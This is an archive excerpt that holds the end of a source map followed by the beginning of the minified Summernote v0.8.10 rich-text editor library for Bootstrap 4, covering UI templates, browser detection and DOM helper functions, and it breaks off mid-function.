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"}summernote-bs4.min.js000064400000347535151677331550010606 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(require("jquery")):"function"==typeof define&&define.amd?define(["jquery"],e):e(t.jQuery)}(this,function(t){"use strict";t=t&&t.hasOwnProperty("default")?t.default:t;var e=function(){function e(t,e,o,n){this.markup=t,this.children=e,this.options=o,this.callback=n}return e.prototype.render=function(e){var o=t(this.markup);if(this.options&&this.options.contents&&o.html(this.options.contents),this.options&&this.options.className&&o.addClass(this.options.className),this.options&&this.options.data&&t.each(this.options.data,function(t,e){o.attr("data-"+t,e)}),this.options&&this.options.click&&o.on("click",this.options.click),this.children){var n=o.find(".note-children-container");this.children.forEach(function(t){t.render(n.length?n:o)})}return this.callback&&this.callback(o,this.options),this.options&&this.options.callback&&this.options.callback(o),e&&e.append(o),o},e}(),o=function(o,n){return function(){var i="object"==typeof arguments[1]?arguments[1]:arguments[0],r=t.isArray(arguments[0])?arguments[0]:[];return i&&i.children&&(r=i.children),new e(o,r,i,n)}},n=o('<div class="note-editor note-frame card"/>'),i=o('<div class="note-toolbar-wrapper"><div class="note-toolbar card-header" role="toolbar"></div></div>'),r=o('<div class="note-editing-area"/>'),s=o('<textarea class="note-codable" role="textbox" aria-multiline="true"/>'),a=o('<div class="note-editable card-block" contentEditable="true" role="textbox" aria-multiline="true"/>'),l=o(['<output class="note-status-output" aria-live="polite"/>','<div class="note-statusbar" role="status">',' <output class="note-status-output" aria-live="polite"></output>',' <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="Resize">',' <div class="note-icon-bar"/>',' <div class="note-icon-bar"/>',' <div class="note-icon-bar"/>'," </div>","</div>"].join("")),c=o('<div class="note-editor"/>'),d=o(['<output class="note-status-output" aria-live="polite"/>','<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'].join("")),u=o('<div class="note-btn-group btn-group">'),h=o('<div class="dropdown-menu" role="list">',function(e,o){var n=t.isArray(o.items)?o.items.map(function(t){var e="string"==typeof t?t:t.value||"",n=o.template?o.template(t):t,i="object"==typeof t?t.option:void 0;return'<a class="dropdown-item" href="#" '+('data-value="'+e+'"'+(void 0!==i?' data-option="'+i+'"':""))+' role="listitem" aria-label="'+t+'">'+n+"</a>"}).join(""):o.items;e.html(n).attr({"aria-label":o.title})}),p=o('<div class="dropdown-menu note-check" role="list">',function(e,o){var n=t.isArray(o.items)?o.items.map(function(t){var e="string"==typeof t?t:t.value||"",n=o.template?o.template(t):t;return'<a class="dropdown-item" href="#" data-value="'+e+'" role="listitem" aria-label="'+t+'">'+b(o.checkClassName)+" "+n+"</a>"}).join(""):o.items;e.html(n).attr({"aria-label":o.title})}),f=o('<div class="note-color-palette"/>',function(t,e){for(var o=[],n=0,i=e.colors.length;n<i;n++){for(var r=e.eventName,s=e.colors[n],a=e.colorsName[n],l=[],c=0,d=s.length;c<d;c++){var u=s[c],h=a[c];l.push(['<button type="button" class="note-color-btn"','style="background-color:',u,'" ','data-event="',r,'" ','data-value="',u,'" ','title="',h,'" ','aria-label="',h,'" ','data-toggle="button" tabindex="-1"></button>'].join(""))}o.push('<div class="note-color-row">'+l.join("")+"</div>")}t.html(o.join("")),e.tooltip&&t.find(".note-color-btn").tooltip({container:e.container,trigger:"hover",placement:"bottom"})}),m=o('<div class="modal" aria-hidden="false" tabindex="-1" role="dialog"/>',function(t,e){e.fade&&t.addClass("fade"),t.attr({"aria-label":e.title}),t.html(['<div class="modal-dialog">',' <div class="modal-content">',e.title?' <div class="modal-header"> <h4 class="modal-title">'+e.title+'</h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close" aria-hidden="true">×</button> </div>':"",' <div class="modal-body">'+e.body+"</div>",e.footer?' <div class="modal-footer">'+e.footer+"</div>":""," </div>","</div>"].join(""))}),g=o(['<div class="note-popover popover in">',' <div class="arrow"/>',' <div class="popover-content note-children-container"/>',"</div>"].join(""),function(t,e){var o=void 0!==e.direction?e.direction:"bottom";t.addClass(o),e.hideArrow&&t.find(".arrow").hide()}),v=o('<label class="custom-control custom-checkbox"></label>',function(t,e){e.id&&t.attr("for",e.id),t.html([' <input role="checkbox" type="checkbox" class="custom-control-input"'+(e.id?' id="'+e.id+'"':""),e.checked?" checked":"",' aria-checked="'+(e.checked?"true":"false")+'"/>',' <span class="custom-control-indicator"></span>',' <span class="custom-control-description">'+(e.text?e.text:"")+"</span>","</label>"].join(""))}),b=function(t,e){return"<"+(e=e||"i")+' class="'+t+'"/>'},y={editor:n,toolbar:i,editingArea:r,codable:s,editable:a,statusbar:l,airEditor:c,airEditable:d,buttonGroup:u,dropdown:h,dropdownButtonContents:function(t){return t},dropdownCheck:p,palette:f,dialog:m,popover:g,icon:b,checkbox:v,options:{},button:function(t,e){return o('<button type="button" class="note-btn btn btn-light btn-sm" role="button" tabindex="-1">',function(t,e){e&&e.tooltip&&t.attr({title:e.tooltip,"aria-label":e.tooltip}).tooltip({container:e.container,trigger:"hover",placement:"bottom"})})(t,e)},toggleBtn:function(t,e){t.toggleClass("disabled",!e),t.attr("disabled",!e)},toggleBtnActive:function(t,e){t.toggleClass("active",e)},onDialogShown:function(t,e){t.one("shown.bs.modal",e)},onDialogHidden:function(t,e){t.one("hidden.bs.modal",e)},showDialog:function(t){t.modal("show")},hideDialog:function(t){t.modal("hide")},createLayout:function(t,e){var o=(e.airMode?y.airEditor([y.editingArea([y.airEditable()])]):y.editor([y.toolbar(),y.editingArea([y.codable(),y.editable()]),y.statusbar()])).render();return o.insertAfter(t),{note:t,editor:o,toolbar:o.find(".note-toolbar"),editingArea:o.find(".note-editing-area"),editable:o.find(".note-editable"),codable:o.find(".note-codable"),statusbar:o.find(".note-statusbar")}},removeLayout:function(t,e){t.html(e.editable.html()),e.editor.remove(),t.show()}};var k=0;var C={eq:function(t){return function(e){return t===e}},eq2:function(t,e){return t===e},peq2:function(t){return function(e,o){return e[t]===o[t]}},ok:function(){return!0},fail:function(){return!1},self:function(t){return t},not:function(t){return function(){return!t.apply(t,arguments)}},and:function(t,e){return function(o){return t(o)&&e(o)}},invoke:function(t,e){return function(){return t[e].apply(t,arguments)}},uniqueId:function(t){var e=++k+"";return t?t+e:e},rect2bnd:function(t){var e=$(document);return{top:t.top+e.scrollTop(),left:t.left+e.scrollLeft(),width:t.right-t.left,height:t.bottom-t.top}},invertObject:function(t){var e={};for(var o in t)t.hasOwnProperty(o)&&(e[t[o]]=o);return e},namespaceToCamel:function(t,e){return(e=e||"")+t.split(".").map(function(t){return t.substring(0,1).toUpperCase()+t.substring(1)}).join("")},debounce:function(t,e,o){var n,i=this;return function(){var r=i,s=arguments,a=o&&!n;clearTimeout(n),n=setTimeout(function(){n=null,o||t.apply(r,s)},e),a&&t.apply(r,s)}}};function w(t){return t[0]}function x(t){return t[t.length-1]}function S(t){return t.slice(1)}function T(e,o){return t.inArray(o,e)}function I(t,e){return-1!==T(t,e)}var N={head:w,last:x,initial:function(t){return t.slice(0,t.length-1)},tail:S,prev:function(t,e){var o=T(t,e);return-1===o?null:t[o-1]},next:function(t,e){var o=T(t,e);return-1===o?null:t[o+1]},find:function(t,e){for(var o=0,n=t.length;o<n;o++){var i=t[o];if(e(i))return i}},contains:I,all:function(t,e){for(var o=0,n=t.length;o<n;o++)if(!e(t[o]))return!1;return!0},sum:function(t,e){return e=e||C.self,t.reduce(function(t,o){return t+e(o)},0)},from:function(t){for(var e=[],o=t.length,n=-1;++n<o;)e[n]=t[n];return e},isEmpty:function(t){return!t||!t.length},clusterBy:function(t,e){return t.length?S(t).reduce(function(t,o){var n=x(t);return e(x(n),o)?n[n.length]=o:t[t.length]=[o],t},[[w(t)]]):[]},compact:function(t){for(var e=[],o=0,n=t.length;o<n;o++)t[o]&&e.push(t[o]);return e},unique:function(t){for(var e=[],o=0,n=t.length;o<n;o++)I(e,t[o])||e.push(t[o]);return e}},E="function"==typeof define&&define.amd;var A,R=navigator.userAgent,P=/MSIE|Trident/i.test(R);if(P){var L=/MSIE (\d+[.]\d+)/.exec(R);L&&(A=parseFloat(L[1])),(L=/Trident\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(R))&&(A=parseFloat(L[1]))}var H=/Edge\/\d+/.test(R),D=!!window.CodeMirror;if(!D&&E)if("function"==typeof __webpack_require__)try{require.resolve("codemirror"),D=!0}catch(t){}else if("undefined"!=typeof require)if(void 0!==require.resolve)try{require.resolve("codemirror"),D=!0}catch(t){}else void 0!==require.specified&&(D=require.specified("codemirror"));var F="ontouchstart"in window||navigator.MaxTouchPoints>0||navigator.msMaxTouchPoints>0,B=P||H?"DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted":"input",z={isMac:navigator.appVersion.indexOf("Mac")>-1,isMSIE:P,isEdge:H,isFF:!H&&/firefox/i.test(R),isPhantom:/PhantomJS/i.test(R),isWebkit:!H&&/webkit/i.test(R),isChrome:!H&&/chrome/i.test(R),isSafari:!H&&/safari/i.test(R),browserVersion:A,jqueryVersion:parseFloat(t.fn.jquery),isSupportAmd:E,isSupportTouch:F,hasCodeMirror:D,isFontInstalled:function(e){var o="Comic Sans MS"===e?"Courier New":"Comic Sans MS",n=t("<div>").css({position:"absolute",left:"-9999px",top:"-9999px",fontSize:"200px"}).text("mmmmmmmmmwwwwwww").appendTo(document.body),i=n.css("fontFamily",o).width(),r=n.css("fontFamily",e+","+o).width();return n.remove(),i!==r},isW3CRangeSupport:!!document.createRange,inputEventName:B},M=String.fromCharCode(160);function O(e){return e&&t(e).hasClass("note-editable")}function U(t){return t=t.toUpperCase(),function(e){return e&&e.nodeName.toUpperCase()===t}}function j(t){return t&&3===t.nodeType}function q(t){return t&&/^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(t.nodeName.toUpperCase())}function K(t){return!O(t)&&(t&&/^DIV|^P|^LI|^H[1-7]/.test(t.nodeName.toUpperCase()))}var V=U("PRE"),W=U("LI");var G=U("TABLE"),_=U("DATA");function Z(t){return!(tt(t)||Y(t)||Q(t)||K(t)||G(t)||X(t)||_(t))}function Y(t){return t&&/^UL|^OL/.test(t.nodeName.toUpperCase())}var Q=U("HR");function J(t){return t&&/^TD|^TH/.test(t.nodeName.toUpperCase())}var X=U("BLOCKQUOTE");function tt(t){return J(t)||X(t)||O(t)}var et=U("A");var ot=U("BODY");var nt=z.isMSIE&&z.browserVersion<11?" ":"<br>";function it(t){return j(t)?t.nodeValue.length:t?t.childNodes.length:0}function rt(t){var e=it(t);return 0===e||(!j(t)&&1===e&&t.innerHTML===nt||!(!N.all(t.childNodes,j)||""!==t.innerHTML))}function st(t){q(t)||it(t)||(t.innerHTML=nt)}function at(t,e){for(;t;){if(e(t))return t;if(O(t))break;t=t.parentNode}return null}function lt(t,e){e=e||C.fail;var o=[];return at(t,function(t){return O(t)||o.push(t),e(t)}),o}function ct(t,e){e=e||C.fail;for(var o=[];t&&!e(t);)o.push(t),t=t.nextSibling;return o}function dt(t,e){var o=e.nextSibling,n=e.parentNode;return o?n.insertBefore(t,o):n.appendChild(t),t}function ut(e,o){return t.each(o,function(t,o){e.appendChild(o)}),e}function ht(t){return 0===t.offset}function pt(t){return t.offset===it(t.node)}function ft(t){return ht(t)||pt(t)}function mt(t,e){for(;t&&t!==e;){if(0!==vt(t))return!1;t=t.parentNode}return!0}function gt(t,e){if(!e)return!1;for(;t&&t!==e;){if(vt(t)!==it(t.parentNode)-1)return!1;t=t.parentNode}return!0}function vt(t){for(var e=0;t=t.previousSibling;)e+=1;return e}function bt(t){return!!(t&&t.childNodes&&t.childNodes.length)}function yt(t,e){var o,n;if(0===t.offset){if(O(t.node))return null;o=t.node.parentNode,n=vt(t.node)}else bt(t.node)?n=it(o=t.node.childNodes[t.offset-1]):(o=t.node,n=e?0:t.offset-1);return{node:o,offset:n}}function kt(t,e){var o,n;if(it(t.node)===t.offset){if(O(t.node))return null;o=t.node.parentNode,n=vt(t.node)+1}else bt(t.node)?(o=t.node.childNodes[t.offset],n=0):(o=t.node,n=e?it(t.node):t.offset+1);return{node:o,offset:n}}function Ct(t,e){return t.node===e.node&&t.offset===e.offset}function wt(t,e){var o=e&&e.isSkipPaddingBlankHTML,n=e&&e.isNotSplitEdgePoint;if(ft(t)&&(j(t.node)||n)){if(ht(t))return t.node;if(pt(t))return t.node.nextSibling}if(j(t.node))return t.node.splitText(t.offset);var i=t.node.childNodes[t.offset],r=dt(t.node.cloneNode(!1),t.node);return ut(r,ct(i)),o||(st(t.node),st(r)),r}function xt(t,e,o){var n=lt(e.node,C.eq(t));return n.length?1===n.length?wt(e,o):n.reduce(function(t,n){return t===e.node&&(t=wt(e,o)),wt({node:n,offset:t?vt(t):it(n)},o)}):null}function St(t){return document.createElement(t)}function Tt(t,e){if(t&&t.parentNode){if(t.removeNode)return t.removeNode(e);var o=t.parentNode;if(!e){for(var n=[],i=0,r=t.childNodes.length;i<r;i++)n.push(t.childNodes[i]);for(i=0,r=n.length;i<r;i++)o.insertBefore(n[i],t)}o.removeChild(t)}}var It=U("TEXTAREA");function $t(t,e){var o=It(t[0])?t.val():t.html();return e?o.replace(/[\n\r]/g,""):o}var Nt={NBSP_CHAR:M,ZERO_WIDTH_NBSP_CHAR:"\ufeff",blank:nt,emptyPara:"<p>"+nt+"</p>",makePredByNodeName:U,isEditable:O,isControlSizing:function(e){return e&&t(e).hasClass("note-control-sizing")},isText:j,isElement:function(t){return t&&1===t.nodeType},isVoid:q,isPara:K,isPurePara:function(t){return K(t)&&!W(t)},isHeading:function(t){return t&&/^H[1-7]/.test(t.nodeName.toUpperCase())},isInline:Z,isBlock:C.not(Z),isBodyInline:function(t){return Z(t)&&!at(t,K)},isBody:ot,isParaInline:function(t){return Z(t)&&!!at(t,K)},isPre:V,isList:Y,isTable:G,isData:_,isCell:J,isBlockquote:X,isBodyContainer:tt,isAnchor:et,isDiv:U("DIV"),isLi:W,isBR:U("BR"),isSpan:U("SPAN"),isB:U("B"),isU:U("U"),isS:U("S"),isI:U("I"),isImg:U("IMG"),isTextarea:It,isEmpty:rt,isEmptyAnchor:C.and(et,rt),isClosestSibling:function(t,e){return t.nextSibling===e||t.previousSibling===e},withClosestSiblings:function(t,e){e=e||C.ok;var o=[];return 